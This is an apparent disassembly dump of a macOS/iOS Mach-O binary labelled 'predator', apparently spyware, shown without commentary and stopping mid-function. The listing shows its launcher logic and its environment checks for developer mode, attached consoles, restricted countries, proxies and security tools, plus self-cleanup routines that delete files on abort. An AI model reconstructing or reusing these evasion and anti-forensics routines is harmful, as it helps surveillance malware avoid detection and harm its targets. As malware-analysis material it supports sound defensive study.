File predator_85d8f504cadb55851a393a13a026f1833ed6db32cb07882415e029e709ae0750.macho
Function:
    100004e1c
    100004e1c_main:
    100004e1cpacibsp
    100004e20stp x28, x27, [sp-96]!
    100004e24stp x26, x25, [sp+16]
    100004e28stp x24, x23, [sp+32]
    100004e2cstp x22, x21, [sp+48]
    100004e30stp x20, x19, [sp+64]
    100004e34stp x29, x30, [sp+80]
    100004e38add x29, sp, 80
    100004e3csub sp, sp, 544
    100004e40mov x27, x1
    100004e44str w0, [sp+84]
    100004e48ldr x0, [x1+8]
    100004e4cbl strdup@plt
    100004e50mov x21, x0
    100004e54ldr x0, [x27+16]
    100004e58bl strdup@plt
    100004e5cmov x26, x0
    100004e60ldr x0, [x27+24]
    100004e64bl strdup@plt
    100004e68str x0, [sp+128]
    100004e6cldr x0, [x27+32]
    100004e70bl strdup@plt
    100004e74str x0, [sp+120]
    100004e78ldr x0, [x27+40]
    100004e7cbl strdup@plt
    100004e80str x0, [sp+112]
    100004e84ldr x0, [x27+48]
    100004e88bl strdup@plt
    100004e8cstr x0, [sp+104]
    100004e90ldr x0, [x27+56]
    100004e94bl strdup@plt
    100004e98str x0, [sp+96]
    100004e9cldr x0, [x27+64]
    100004ea0bl strdup@plt
    100004ea4str x0, [sp+88]
    100004ea8ldr x0, [x27+72]
    100004eacbl strdup@plt
    100004eb0mov x28, x0
    100004eb4ldr x0, [x27+80]
    100004eb8bl strdup@plt
    100004ebcmov x19, x0
    100004ec0ldr x0, [x27+88]
    100004ec4bl strdup@plt
    100004ec8mov x20, x0
    100004eccldr x0, [x27+96]
    100004ed0bl strdup@plt
    100004ed4mov x22, x0
    100004ed8ldr x0, [x27+104]
    100004edcbl strdup@plt
    100004ee0mov x24, x0
    100004ee4ldr x0, [x27+112]
    100004ee8bl strdup@plt
    100004eecmovz w23, 0
    100004ef0str x21, [sp+72]
    100004ef4cbz x21, 0x1000050bc
    100004ef8cbz x26, 0x1000050bc
    100004efcldr x8, [sp+128]
    100004f00cbz x8, 0x1000050bc
    100004f04ldr x8, [sp+120]
    100004f08cbz x8, 0x1000050bc
    100004f0cldr x8, [sp+112]
    100004f10cbz x8, 0x1000050bc
    100004f14ldr x8, [sp+104]
    100004f18cbz x8, 0x1000050bc
    100004f1cldr x8, [sp+96]
    100004f20cbz x8, 0x1000050bc
    100004f24ldr x8, [sp+88]
    100004f28cbz x8, 0x1000050bc
    100004f2ccbz x28, 0x1000050bc
    100004f30cbz x19, 0x1000050bc
    100004f34cbz x20, 0x1000050bc
    100004f38cbz x22, 0x1000050bc
    100004f3ccbz x24, 0x1000050bc
    100004f40mov x25, x0
    100004f44str x26, [sp+64]
    100004f48ldr w8, [sp+84]
    100004f4csubs wzr, w8, 1
    100004f50b.lt 0x100004f78
    100004f54mov w23, w8
    100004f58
    100004f58loc_100004f58:
    100004f58ldr x21, [x27], 8
    100004f5cmov x0, x21
    100004f60bl strlen@plt
    100004f64mov x1, x0
    100004f68mov x0, x21
    100004f6cbl bzero@plt
    100004f70subs x23, x23, 1
    100004f74b.ne 0x100004f58
    100004f78
    100004f78loc_100004f78:
    100004f78adr x1, 0x3c1de
    100004f7chint
    100004f80mov x0, x25
    100004f84bl strcmp@plt
    100004f88cbz w0, 0x100004fa8
    100004f8cadr x1, 0x3c1d2
    100004f90hint
    100004f94mov x0, x25
    100004f98bl strcmp@plt
    100004f9ccbz w0, 0x10000508c
    100004fa0movz w23, 0
    100004fa4b 0x1000050bc
    100004fa8
    100004fa8loc_100004fa8:
    100004fa8add x8, sp, 136
    100004facstp xzr, xzr, [sp+136]
    100004fb0movi v0.2d, -1
    100004fb4str d0, [sp+152]
    100004fb8movi v0.2d, 0
    100004fbcstp q0, q0, [sp+160]
    100004fc0stp q0, q0, [sp+192]
    100004fc4stur q0, [sp+224]
    100004fc8str xzr, [sp+240]
    100004fccmovn w9, 0
    100004fd0str w9, [sp+248]
    100004fd4str wzr, [sp+328]
    100004fd8str wzr, [sp+396]
    100004fdcstr xzr, [sp+400]
    100004fe0str wzr, [sp+520]
    100004fe4add x9, sp, 1
    100004fe8stur q0, [x9+255]
    100004fecstur q0, [x8+136]
    100004ff0str xzr, [sp+288]
    100004ff4stur q0, [x8+216]
    100004ff8stur q0, [x8+200]
    100004ffcadr x8, 0x3c162
    100005000hint
    100005004stp x24, x8, [sp+40]
    100005008stp x20, x22, [sp+24]
    10000500cstp x28, x19, [sp+8]
    100005010add x20, sp, 136
    100005014add x0, sp, 136
    100005018ldp x8, x7, [sp+88]
    10000501cstr x8, [sp]
    100005020ldp x2, x1, [sp+64]
    100005024ldp x4, x3, [sp+120]
    100005028ldp x6, x5, [sp+104]
    10000502cbl __ZN16CSWatcherSpawner16CSWatcherSpawner4initEPKcS2_S2_S2_S2_S2_S2_S2_S2_S2_S2_S2_S2_S2_
    100005030tbz w0, 0, 0x100005060
    100005034add x0, sp, 136
    100005038bl __ZN16CSWatcherSpawner16CSWatcherSpawner5spawnEv
    10000503ccbz w0, 0x100005060
    100005040add x0, sp, 136
    100005044bl __ZN16CSWatcherSpawner16CSWatcherSpawner5startEv
    100005048movz w23, 0
    10000504cldr w8, [sp+292]
    100005050sub w8, w8, 1
    100005054adds wzr, w8, 3
    100005058b.ls 0x100005074
    10000505cb 0x100005080
    100005060
    100005060loc_100005060:
    100005060movn w23, 0
    100005064ldr w8, [sp+292]
    100005068sub w8, w8, 1
    10000506cadds wzr, w8, 3
    100005070b.hi 0x100005080
    100005074
    100005074loc_100005074:
    100005074add x8, sp, 136
    100005078add x0, x8, 156
    10000507cbl __ZN8PortBase5resetEv
    100005080
    100005080loc_100005080:
    100005080add x0, sp, 136
    100005084bl __ZN13FDGuardNeonRWD1Ev
    100005088b 0x1000050bc
    10000508c
    10000508cloc_10000508c:
    10000508cadd x0, sp, 136
    100005090bl __ZN6Helper13HelperHandlerC1Ev
    100005094add x0, sp, 136
    100005098bl __ZN6Helper13HelperHandler10initWithRWEv
    10000509ctbz w0, 0, 0x1000050b0
    1000050a0add x0, sp, 136
    1000050a4bl __ZN6Helper13HelperHandler5startEv
    1000050a8movz w23, 0
    1000050acb 0x1000050b4
    1000050b0
    1000050b0loc_1000050b0:
    1000050b0movn w23, 0
    1000050b4
    1000050b4loc_1000050b4:
    1000050b4add x0, sp, 136
    1000050b8bl __ZN6Helper13HelperHandlerD1Ev
    1000050bc
    1000050bcloc_1000050bc:
    1000050bcmov x0, x23
    1000050c0add sp, sp, 544
    1000050c4ldp x29, x30, [sp+80]
    1000050c8ldp x20, x19, [sp+64]
    1000050ccldp x22, x21, [sp+48]
    1000050d0ldp x24, x23, [sp+32]
    1000050d4ldp x26, x25, [sp+16]
    1000050d8ldp x28, x27, [sp], 96
    1000050dcretab
    1000050e0bl fn_100005128
    1000050e4mov x19, x0
    1000050e8add x0, sp, 136
    1000050ecbl __ZN6Helper13HelperHandlerD1Ev
    1000050f0mov x0, x19
    1000050f4bl _Unwind_Resume@plt
    1000050f8mov x19, x0
    1000050fcldr w8, [sp+292]
    100005100sub w8, w8, 1
    100005104adds wzr, w8, 3
    100005108b.hi 0x100005114
    10000510cadd x0, x20, 156
    100005110bl __ZN8PortBase5resetEv
    100005114
    100005114loc_100005114:
    100005114add x0, sp, 136
    100005118bl __ZN13FDGuardNeonRWD1Ev
    10000511cmov x0, x19
    100005120bl _Unwind_Resume@plt
    100005124bl fn_100005128
    100004e1c
    100005128
    100005128fn_100005128:
    100005128stp x29, x30, [sp-16]!
    10000512cbl __cxa_begin_catch@plt
    100005130bl _ZSt9terminatev@plt
    100005128
    100005134
    100005134fn_100005134:
    100005134pacibsp
    100005138stp x20, x19, [sp-32]!
    10000513cstp x29, x30, [sp+16]
    100005140add x29, sp, 16
    100005144bl __ZN17VersionDispatcher26OffsetsVersionByDeviceInitEv
    100005148bl __ZN17VersionDispatcher14GetHostMachineEv
    10000514cmov x1, x0
    100005150adr x0, 0x3bff0
    100005154hint
    100005158bl strcmp@plt
    10000515cmovz w19, 17
    100005160cbz w0, 0x100005184
    100005164bl __ZN17VersionDispatcher14GetHostMachineEv
    100005168mov x1, x0
    10000516cadr x0, 0x3bfdf
    100005170hint
    100005174bl strcmp@plt
    100005178subs wzr, w0, 0
    10000517cmovz w8, 25
    100005180csel w19, w19, w8, eq
    100005184
    100005184loc_100005184:
    100005184adrp x8, 0x43000
    100005188str w19, [x8+3136]
    10000518cldp x29, x30, [sp+16]
    100005190ldp x20, x19, [sp], 32
    100005194retab
    100005134
    100005198
    100005198__ZN16CSWatcherSpawner16CSWatcherSpawner4initEPKcS2_S2_S2_S2_S2_S2_S2_S2_S2_S2_S2_S2_S2_:
    100005198pacibsp
    10000519csub sp, sp, 272
    1000051a0stp x28, x27, [sp+176]
    1000051a4stp x26, x25, [sp+192]
    1000051a8stp x24, x23, [sp+208]
    1000051acstp x22, x21, [sp+224]
    1000051b0stp x20, x19, [sp+240]
    1000051b4stp x29, x30, [sp+256]
    1000051b8add x29, sp, 256
    1000051bcmov x23, x7
    1000051c0mov x24, x6
    1000051c4mov x25, x5
    1000051c8mov x26, x4
    1000051ccmov x27, x3
    1000051d0mov x28, x2
    1000051d4mov x19, x0
    1000051d8ldr x8, [x29+56]
    1000051dcstr x8, [sp+16]
    1000051e0ldr x8, [x29+48]
    1000051e4str x8, [sp+8]
    1000051e8ldr x8, [x29+40]
    1000051ecstr x8, [sp]
    1000051f0ldp x21, x20, [x29+24]
    1000051f4ldr x22, [x29+16]
    1000051f8mov x0, x1
    1000051fcbl strdup@plt
    100005200str x0, [x19+272]
    100005204mov x0, x28
    100005208bl strdup@plt
    10000520cstr x0, [x19+280]
    100005210mov x0, x27
    100005214bl strdup@plt
    100005218str x0, [x19+288]
    10000521cmov x0, x26
    100005220bl strdup@plt
    100005224str x0, [x19+296]
    100005228mov x0, x25
    10000522cbl strdup@plt
    100005230str x0, [x19+304]
    100005234mov x0, x24
    100005238bl strdup@plt
    10000523cstr x0, [x19+312]
    100005240mov x0, x23
    100005244bl strdup@plt
    100005248mov x23, x0
    10000524cstr x0, [x19+320]
    100005250mov x0, x22
    100005254bl strdup@plt
    100005258str x0, [x19+328]
    10000525cmov x0, x21
    100005260bl strdup@plt
    100005264str x0, [x19+336]
    100005268mov x0, x20
    10000526cbl strdup@plt
    100005270str x0, [x19+344]
    100005274ldr x0, [sp]
    100005278bl strdup@plt
    10000527cstr x0, [x19+352]
    100005280ldr x0, [sp+8]
    100005284bl strdup@plt
    100005288str x0, [x19+368]
    10000528cmov x0, x23
    100005290bl strlen@plt
    100005294add x2, x0, 1
    100005298adr x0, 0x43390
    10000529chint
    1000052a0mov x1, x23
    1000052a4bl strncat@plt
    1000052a8ldr x20, [x19+368]
    1000052acmov x0, x20
    1000052b0bl strlen@plt
    1000052b4add x2, x0, 1
    1000052b8adr x0, 0x43500
    1000052bchint
    1000052c0mov x1, x20
    1000052c4bl strncat@plt
    1000052c8ldr x20, [x19+368]
    1000052ccmov x0, x20
    1000052d0bl strlen@plt
    1000052d4add x2, x0, 1
    1000052d8adr x0, 0x43670
    1000052dchint
    1000052e0mov x1, x20
    1000052e4bl strncat@plt
    1000052e8ldr x0, [sp+16]
    1000052ecbl strdup@plt
    1000052f0str x0, [x19+376]
    1000052f4str xzr, [x19+208]
    1000052f8hint
    1000052fcldr d0, 0x3cfb4
    100005300stur d0, [x19+252]
    100005304str wzr, [x19+152]
    100005308str xzr, [x19+160]
    10000530cstr wzr, [x19+168]
    100005310add x20, sp, 24
    100005314add x8, sp, 24
    100005318bl __ZN10RWTransfer3GetEv
    10000531cldr x8, [sp+24]
    100005320str x8, [x19]
    100005324add x0, x19, 16
    100005328add x1, x20, 16
    10000532cbl __ZN6FDBaseaSEOS_
    100005330add x0, x19, 20
    100005334add x1, x20, 20
    100005338bl __ZN6FDBaseaSEOS_
    10000533cadd x0, x19, 24
    100005340add x1, x20, 24
    100005344bl __ZN8PortBaseaSEOS_
    100005348add x0, x19, 28
    10000534cadd x1, x20, 28
    100005350bl __ZN8PortBaseaSEOS_
    100005354ldur q0, [sp+88]
    100005358ldur q1, [sp+104]
    10000535cstp q0, q1, [x19+64]
    100005360ldur q0, [sp+120]
    100005364str q0, [x19+96]
    100005368ldur q0, [sp+72]
    10000536cldur q1, [sp+56]
    100005370stp q1, q0, [x19+32]
    100005374add x0, x19, 112
    100005378add x1, x20, 112
    10000537cbl __ZN6FDBaseaSEOS_
    100005380ldur q0, [sp+144]
    100005384stur q0, [x19+120]
    100005388ldr x8, [sp+160]
    10000538cstr x8, [x19+136]
    100005390add x0, sp, 24
    100005394bl __ZN13FDGuardNeonRWD1Ev
    100005398mov x0, x19
    10000539cbl __ZNK13FDGuardNeonRWcvbEv
    1000053a0
    1000053a0loc_1000053a0:
    1000053a0and w0, w0, 1
    1000053a4ldp x29, x30, [sp+256]
    1000053a8ldp x20, x19, [sp+240]
    1000053acldp x22, x21, [sp+224]
    1000053b0ldp x24, x23, [sp+208]
    1000053b4ldp x26, x25, [sp+192]
    1000053b8ldp x28, x27, [sp+176]
    1000053bcadd sp, sp, 272
    1000053c0retab
    1000053c4b 0x1000053c8
    1000053c8
    1000053c8loc_1000053c8:
    1000053c8subs wzr, w1, 1
    1000053ccb.ne 0x1000053dc
    1000053d0bl objc_begin_catch@plt
    1000053d4bl objc_end_catch@plt
    1000053d8b 0x1000053a0
    1000053dc
    1000053dcloc_1000053dc:
    1000053dcbl _Unwind_Resume@plt
    100005198
    1000053e0
    1000053e0__ZN16CSWatcherSpawner16CSWatcherSpawner13CleaningAgentEv:
    1000053e0pacibsp
    1000053e4stp x29, x30, [sp-16]!
    1000053e8add x29, sp, 0
    1000053ecadr x0, 0x4323c
    1000053f0hint
    1000053f4movz w1, 0
    1000053f8bl access@plt
    1000053fccbz w0, 0x10000540c
    100005400movz w0, 1
    100005404ldp x29, x30, [sp], 16
    100005408retab
    10000540c
    10000540cloc_10000540c:
    10000540cadr x0, 0x4321c
    100005410hint
    100005414bl remove@plt
    100005418movz w0, 1
    10000541cldp x29, x30, [sp], 16
    100005420retab
    1000053e0
    100005424
    100005424__ZN16CSWatcherSpawner16CSWatcherSpawner14CleaningHelperEv:
    100005424pacibsp
    100005428stp x29, x30, [sp-16]!
    10000542cadd x29, sp, 0
    100005430adr x0, 0x43518
    100005434hint
    100005438movz w1, 0
    10000543cbl access@plt
    100005440cbz w0, 0x100005450
    100005444movz w0, 1
    100005448ldp x29, x30, [sp], 16
    10000544cretab
    100005450
    100005450loc_100005450:
    100005450adr x0, 0x434f8
    100005454hint
    100005458bl remove@plt
    10000545cmovz w0, 1
    100005460ldp x29, x30, [sp], 16
    100005464retab
    100005424
    100005468
    100005468__ZN16CSWatcherSpawner16CSWatcherSpawner15CleaningWatcherEv:
    100005468pacibsp
    10000546cstp x29, x30, [sp-16]!
    100005470add x29, sp, 0
    100005474adr x0, 0x43344
    100005478hint
    10000547cmovz w1, 0
    100005480bl access@plt
    100005484cbz w0, 0x100005494
    100005488movz w0, 1
    10000548cldp x29, x30, [sp], 16
    100005490retab
    100005494
    100005494loc_100005494:
    100005494adr x0, 0x43324
    100005498hint
    10000549cbl remove@plt
    1000054a0movz w0, 1
    1000054a4ldp x29, x30, [sp], 16
    1000054a8retab
    100005468
    1000054b0
    1000054b0__ZN16CSWatcherSpawner16CSWatcherSpawner12is_not_phoneEv:
    1000054b0pacibsp
    1000054b4stp x29, x30, [sp-16]!
    1000054b8add x29, sp, 0
    1000054bchint
    1000054c0ldr x0, 0x43620
    1000054c4movz w1, 0
    1000054c8bl access@plt
    1000054cccbz w0, 0x100005578
    1000054d0hint
    1000054d4ldr x0, 0x43614
    1000054d8movz w1, 0
    1000054dcbl access@plt
    1000054e0cbz w0, 0x100005578
    1000054e4hint
    1000054e8ldr x0, 0x43608
    1000054ecmovz w1, 0
    1000054f0bl access@plt
    1000054f4cbz w0, 0x100005578
    1000054f8hint
    1000054fcldr x0, 0x435fc
    100005500movz w1, 0
    100005504bl access@plt
    100005508cbz w0, 0x100005578
    10000550chint
    100005510ldr x0, 0x435f0
    100005514movz w1, 0
    100005518bl access@plt
    10000551ccbz w0, 0x100005578
    100005520hint
    100005524ldr x0, 0x435e4
    100005528movz w1, 0
    10000552cbl access@plt
    100005530cbz w0, 0x100005578
    100005534hint
    100005538ldr x0, 0x435d8
    10000553cmovz w1, 0
    100005540bl access@plt
    100005544cbz w0, 0x100005578
    100005548hint
    10000554cldr x0, 0x43024
    100005550bl fn_10003e3a0
    100005554adr x2, 0x3fd54
    100005558hint
    10000555cmovz x3, 0
    100005560bl fn_10003e2c0
    100005564bl fn_10003e300
    100005568subs wzr, w0, 2
    10000556ccset w0, gt
    100005570ldp x29, x30, [sp], 16
    100005574retab
    100005578
    100005578loc_100005578:
    100005578movz w0, 1
    10000557cldp x29, x30, [sp], 16
    100005580retab
    100005584b 0x100005588
    100005588
    100005588loc_100005588:
    100005588subs wzr, w1, 1
    10000558cb.ne 0x1000055a4
    100005590bl objc_begin_catch@plt
    100005594bl objc_end_catch@plt
    100005598movz w0, 0
    10000559cldp x29, x30, [sp], 16
    1000055a0retab
    1000055a4
    1000055a4loc_1000055a4:
    1000055a4bl _Unwind_Resume@plt
    1000054b0
    1000055a8
    1000055a8__ZN16CSWatcherSpawner16CSWatcherSpawner12is_developerEv:
    1000055a8pacibsp
    1000055acsub sp, sp, 32
    1000055b0stp x29, x30, [sp+16]
    1000055b4add x29, sp, 16
    1000055b8stur wzr, [x29-4]
    1000055bcmovz w8, 4
    1000055c0str x8, [sp]
    1000055c4adr x0, 0x3bcad
    1000055c8hint
    1000055ccsub x1, x29, 4
    1000055d0add x2, sp, 0
    1000055d4movz x3, 0
    1000055d8movz x4, 0
    1000055dcbl sysctlbyname@plt
    1000055e0subs wzr, w0, 0
    1000055e4ldur w8, [x29-4]
    1000055e8ccmp w8, 0, 4, eq
    1000055eccset w0, ne
    1000055f0ldp x29, x30, [sp+16]
    1000055f4add sp, sp, 32
    1000055f8retab
    1000055fcsubs wzr, w1, 1
    100005600b.ne 0x10000561c
    100005604bl objc_begin_catch@plt
    100005608bl objc_end_catch@plt
    10000560cmovz w0, 0
    100005610ldp x29, x30, [sp+16]
    100005614add sp, sp, 32
    100005618retab
    10000561c
    10000561cloc_10000561c:
    10000561cbl _Unwind_Resume@plt
    1000055a8
    100005620
    100005620__ZN16CSWatcherSpawner16CSWatcherSpawner11ReportAbortEPcPKc:
    100005620pacibsp
    100005624stp x24, x23, [sp-64]!
    100005628stp x22, x21, [sp+16]
    10000562cstp x20, x19, [sp+32]
    100005630stp x29, x30, [sp+48]
    100005634add x29, sp, 48
    100005638sub sp, sp, 4016
    10000563cmov x19, x2
    100005640mov x20, x0
    100005644adr x21, 0x3bc55
    100005648hint
    10000564cmov x0, x1
    100005650mov x1, x21
    100005654bl strtok@plt
    100005658mov x22, x0
    10000565cmovz x0, 0
    100005660mov x1, x21
    100005664bl strtok@plt
    100005668mov x23, x0
    10000566cmovz x0, 0
    100005670mov x1, x21
    100005674bl strtok@plt
    100005678add x21, sp, 16
    10000567cadd x0, sp, 16
    100005680mov x1, x22
    100005684bl strcpy@plt
    100005688add x0, sp, 16
    10000568cbl strlen@plt
    100005690add x8, x21, x0
    100005694movz w9, 12079
    100005698strh w9, [x8]
    10000569cstrb wzr, [x8+2]
    1000056a0add x0, sp, 16
    1000056a4mov x1, x23
    1000056a8bl strcat@plt
    1000056acadd x0, sp, 16
    1000056b0bl strlen@plt
    1000056b4movz w8, 47
    1000056b8strh w8, [x21+x0]
    1000056bcldr x1, [x20+352]
    1000056c0add x0, sp, 16
    1000056c4bl strcat@plt
    1000056c8add x0, sp, 16
    1000056ccmov x1, x19
    1000056d0bl strcat@plt
    1000056d4str xzr, [sp+8]
    1000056d8hint
    1000056dcldr x0, 0x42e9c
    1000056e0add x2, sp, 16
    1000056e4bl fn_10003e580
    1000056e8mov x2, x0
    1000056echint
    1000056f0ldr x0, 0x42e90
    1000056f4bl fn_10003e200
    1000056f8mov x2, x0
    1000056fchint
    100005700ldr x0, 0x42e88
    100005704add x4, sp, 8
    100005708movz w3, 2
    10000570cbl fn_10003e360
    100005710add sp, sp, 4016
    100005714ldp x29, x30, [sp+48]
    100005718ldp x20, x19, [sp+32]
    10000571cldp x22, x21, [sp+16]
    100005720ldp x24, x23, [sp], 64
    100005724retab
    100005728b 0x10000572c
    10000572c
    10000572cloc_10000572c:
    10000572csubs wzr, w1, 1
    100005730b.ne 0x100005754
    100005734bl objc_begin_catch@plt
    100005738bl objc_end_catch@plt
    10000573cadd sp, sp, 4016
    100005740ldp x29, x30, [sp+48]
    100005744ldp x20, x19, [sp+32]
    100005748ldp x22, x21, [sp+16]
    10000574cldp x24, x23, [sp], 64
    100005750retab
    100005754
    100005754loc_100005754:
    100005754bl _Unwind_Resume@plt
    100005620
    100005758
    100005758__ZN16CSWatcherSpawner16CSWatcherSpawner21is_restricted_countryEv:
    100005758pacibsp
    10000575cstp x29, x30, [sp-16]!
    100005760add x29, sp, 0
    100005764hint
    100005768ldr x0, 0x42e28
    10000576cbl fn_10003e260
    100005770bl fn_10003e320
    100005774bl fn_10003e220
    100005778adr x8, 0x3bb26
    10000577chint
    100005780subs xzr, x0, x8
    100005784adr x8, 0x3bb1d
    100005788hint
    10000578cccmp x0, x8, 4, ne
    100005790cset w0, eq
    100005794ldp x29, x30, [sp], 16
    100005798retab
    100005758
    10000579c
    10000579c__ZN16CSWatcherSpawner16CSWatcherSpawner19is_console_attachedEv:
    10000579cpacibsp
    1000057a0sub sp, sp, 224
    1000057a4stp x20, x19, [sp+192]
    1000057a8stp x29, x30, [sp+208]
    1000057acadd x29, sp, 208
    1000057b0adr x0, 0x3baf4
    1000057b4hint
    1000057b8movz w1, 0
    1000057bcbl access@plt
    1000057c0movz w19, 0
    1000057c4cbz w0, 0x1000057dc
    1000057c8
    1000057c8loc_1000057c8:
    1000057c8mov x0, x19
    1000057ccldp x29, x30, [sp+208]
    1000057d0ldp x20, x19, [sp+192]
    1000057d4add sp, sp, 224
    1000057d8retab
    1000057dc
    1000057dcloc_1000057dc:
    1000057dcmovz x8, 1
    1000057e0movk x8, 0x1500000000
    1000057e4stur x8, [x29-40]
    1000057e8movz w8, 16
    1000057ecstur x8, [x29-48]
    1000057f0sub x0, x29, 40
    1000057f4sub x2, x29, 32
    1000057f8sub x3, x29, 48
    1000057fcmovz w1, 2
    100005800movz x4, 0
    100005804movz x5, 0
    100005808bl sysctl@plt
    10000580cmov x19, x0
    100005810ldur x20, [x29-32]
    100005814adr x0, 0x3ba90
    100005818hint
    10000581cadd x1, sp, 16
    100005820bl stat@plt
    100005824subs xzr, x20, 0
    100005828movn w8, 0
    10000582cccmp w19, w8, 4, ne
    100005830sbfm x8, x20, 0, 31
    100005834csinv x8, x8, xzr, ne
    100005838ldr x9, [sp+64]
    10000583csubs xzr, x9, x8
    100005840cset w19, gt
    100005844b.le 0x1000057c8
    100005848hint
    10000584cldr x20, 0x42d3c
    100005850hint
    100005854ldr x0, 0x42d24
    100005858adr x2, 0x3ba4c
    10000585chint
    100005860bl fn_10003e580
    100005864mov x2, x0
    100005868mov x0, x20
    10000586cbl fn_10003e340
    100005870mov x2, x0
    100005874hint
    100005878ldr x0, 0x42d20
    10000587cadd x4, sp, 8
    100005880add x5, sp, 0
    100005884movz w3, 1
    100005888bl fn_10003e500
    10000588cbl fn_10003e3c0
    100005890adr x2, 0x3fa38
    100005894hint
    100005898bl fn_10003e520
    10000589cmovn x8, 0x8000000000000000
    1000058a0subs xzr, x0, x8
    1000058a4b.ne 0x1000057c8
    1000058a8movz w19, 0
    1000058acmov x0, x19
    1000058b0ldp x29, x30, [sp+208]
    1000058b4ldp x20, x19, [sp+192]
    1000058b8add sp, sp, 224
    1000058bcretab
    1000058c0b 0x1000058d4
    1000058c4b 0x1000058d4
    1000058c8b 0x1000058d4
    1000058ccb 0x1000058d4
    1000058d0b 0x1000058d4
    1000058d4
    1000058d4loc_1000058d4:
    1000058d4subs wzr, w1, 1
    1000058d8b.ne 0x1000058fc
    1000058dcbl objc_begin_catch@plt
    1000058e0bl objc_end_catch@plt
    1000058e4movz w19, 0
    1000058e8mov x0, x19
    1000058ecldp x29, x30, [sp+208]
    1000058f0ldp x20, x19, [sp+192]
    1000058f4add sp, sp, 224
    1000058f8retab
    1000058fc
    1000058fcloc_1000058fc:
    1000058fcbl _Unwind_Resume@plt
    10000579c
    100005900
    100005900__ZN16CSWatcherSpawner16CSWatcherSpawner13check_performEv:
    100005900pacibsp
    100005904sub sp, sp, 64
    100005908stp x22, x21, [sp+16]
    10000590cstp x20, x19, [sp+32]
    100005910stp x29, x30, [sp+48]
    100005914add x29, sp, 48
    100005918mov x19, x0
    10000591chint
    100005920ldr x16, 0x3f058
    100005924paciza x16
    100005928mov x2, x16
    10000592cmovz w0, 0
    100005930movz x1, 0
    100005934movz w3, 8
    100005938bl _unicopy
    10000593cbl __ZN5Utils13getCountNamesEv
    100005940subs wzr, w0, 2
    100005944b.lt 0x100005978
    100005948ldr x20, [x19+272]
    10000594cmov x0, x20
    100005950bl strlen@plt
    100005954add x0, x0, 1
    100005958movz w1, 1
    10000595cbl calloc@plt
    100005960mov x21, x0
    100005964mov x1, x20
    100005968bl strcpy@plt
    10000596cadr x2, 0x3b983
    100005970hint
    100005974b 0x100005a78
    100005978
    100005978loc_100005978:
    100005978bl __ZN16CSWatcherSpawner16CSWatcherSpawner19is_console_attachedEv
    10000597ccbz w0, 0x1000059b0
    100005980ldr x20, [x19+272]
    100005984mov x0, x20
    100005988bl strlen@plt
    10000598cadd x0, x0, 1
    100005990movz w1, 1
    100005994bl calloc@plt
    100005998mov x21, x0
    10000599cmov x1, x20
    1000059a0bl strcpy@plt
    1000059a4adr x2, 0x3b94f
    1000059a8hint
    1000059acb 0x100005a78
    1000059b0
    1000059b0loc_1000059b0:
    1000059b0hint
    1000059b4ldr x0, 0x42bdc
    1000059b8bl fn_10003e260
    1000059bcbl fn_10003e320
    1000059c0bl fn_10003e220
    1000059c4adr x8, 0x3b8da
    1000059c8hint
    1000059ccsubs xzr, x0, x8
    1000059d0adr x8, 0x3b8d1
    1000059d4hint
    1000059d8ccmp x0, x8, 4, ne
    1000059dcb.ne 0x100005a10
    1000059e0ldr x20, [x19+272]
    1000059e4mov x0, x20
    1000059e8bl strlen@plt
    1000059ecadd x0, x0, 1
    1000059f0movz w1, 1
    1000059f4bl calloc@plt
    1000059f8mov x21, x0
    1000059fcmov x1, x20
    100005a00bl strcpy@plt
    100005a04adr x2, 0x3b8f3
    100005a08hint
    100005a0cb 0x100005a78
    100005a10
    100005a10loc_100005a10:
    100005a10str wzr, [sp+12]
    100005a14movz w8, 4
    100005a18str x8, [sp]
    100005a1cadr x0, 0x3b855
    100005a20hint
    100005a24add x1, sp, 12
    100005a28add x2, sp, 0
    100005a2cmovz x3, 0
    100005a30movz x4, 0
    100005a34bl sysctlbyname@plt
    100005a38cbnz w0, 0x100005a44
    100005a3cldr w8, [sp+12]
    100005a40cbnz w8, 0x100005a4c
    100005a44
    100005a44loc_100005a44:
    100005a44bl __ZN16CSWatcherSpawner16CSWatcherSpawner12is_not_phoneEv
    100005a48cbz w0, 0x100005af0
    100005a4c
    100005a4cloc_100005a4c:
    100005a4cldr x20, [x19+272]
    100005a50mov x0, x20
    100005a54bl strlen@plt
    100005a58add x0, x0, 1
    100005a5cmovz w1, 1
    100005a60bl calloc@plt
    100005a64mov x21, x0
    100005a68mov x1, x20
    100005a6cbl strcpy@plt
    100005a70adr x2, 0x3b88b
    100005a74hint
    100005a78
    100005a78loc_100005a78:
    100005a78mov x0, x19
    100005a7cmov x1, x21
    100005a80bl __ZN16CSWatcherSpawner16CSWatcherSpawner11ReportAbortEPcPKc
    100005a84adr x0, 0x42d34
    100005a88hint
    100005a8cmovz w1, 0
    100005a90bl access@plt
    100005a94mov x8, x0
    100005a98movz w0, 0
    100005a9ccbz w8, 0x100005ab4
    100005aa0ldp x29, x30, [sp+48]
    100005aa4ldp x20, x19, [sp+32]
    100005aa8ldp x22, x21, [sp+16]
    100005aacadd sp, sp, 64
    100005ab0retab
    100005ab4
    100005ab4loc_100005ab4:
    100005ab4adr x0, 0x42d04
    100005ab8hint
    100005abcbl remove@plt
    100005ac0movz w0, 0
    100005ac4ldp x29, x30, [sp+48]
    100005ac8ldp x20, x19, [sp+32]
    100005accldp x22, x21, [sp+16]
    100005ad0add sp, sp, 64
    100005ad4retab
    100005ad8subs wzr, w1, 1
    100005adcb.ne 0x100005bb4
    100005ae0bl objc_begin_catch@plt
    100005ae4bl objc_end_catch@plt
    100005ae8bl __ZN16CSWatcherSpawner16CSWatcherSpawner12is_not_phoneEv
    100005aeccbnz w0, 0x100005a4c
    100005af0
    100005af0loc_100005af0:
    100005af0bl __ZN16CSWatcherSpawner16CSWatcherSpawner17is_unsafe_runningEv
    100005af4cbz w0, 0x100005b28
    100005af8ldr x20, [x19+272]
    100005afcmov x0, x20
    100005b00bl strlen@plt
    100005b04add x0, x0, 1
    100005b08movz w1, 1
    100005b0cbl calloc@plt
    100005b10mov x21, x0
    100005b14mov x1, x20
    100005b18bl strcpy@plt
    100005b1cadr x2, 0x3b7e3
    100005b20hint
    100005b24b 0x100005a78
    100005b28
    100005b28loc_100005b28:
    100005b28bl __ZN16CSWatcherSpawner16CSWatcherSpawner16is_proxy_runningEv
    100005b2ccbz w0, 0x100005b60
    100005b30ldr x20, [x19+272]
    100005b34mov x0, x20
    100005b38bl strlen@plt
    100005b3cadd x0, x0, 1
    100005b40movz w1, 1
    100005b44bl calloc@plt
    100005b48mov x21, x0
    100005b4cmov x1, x20
    100005b50bl strcpy@plt
    100005b54adr x2, 0x3b7af
